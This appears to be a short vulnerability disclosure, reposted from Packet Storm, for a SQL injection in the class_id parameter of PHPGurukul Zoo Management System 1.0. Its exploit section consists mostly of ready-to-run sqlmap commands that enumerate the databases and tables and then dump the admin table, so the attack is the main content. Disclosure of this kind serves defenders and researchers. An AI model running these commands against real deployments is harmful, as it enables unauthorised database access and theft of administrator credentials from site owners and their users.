PHPGurukul Zoo Management System 1.0 SQL Injection

PHPGurukul Zoo Management System version 1.0 suffers from a remote SQL injection vulnerability.


MD5 | ab1b41c40f9503eb7fc1497d5473a608

Download
# Zoo Management System SQL Injection
# Author: D4rkP0w4r 
* Description => sql injection at /animals?class_id=1
* Injection Point

http://192.168.1.101:8080/ZooManagementSystem/public_html/animals?class_id=1

# Exploit 
* Exploit with Sqlmap
python3 sqlmap.py -u http://192.168.1.101:8080/ZooManagementSystem/public_html/animals?class_id=1 -dbs

python3 sqlmap.py -u http://192.168.1.101:8080/ZooManagementSystem/public_html/animals?class_id=1 -tables -D zoomanagement

python3 sqlmap.py -u http://192.168.1.101:8080/ZooManagementSystem/public_html/animals?class_id=1 -columns -D zoomanagement -T admin -dump

# Vulnerable Code

* No filter `class_id`  when inserting data to database


Source: packetstormsecurity.com
Related Posts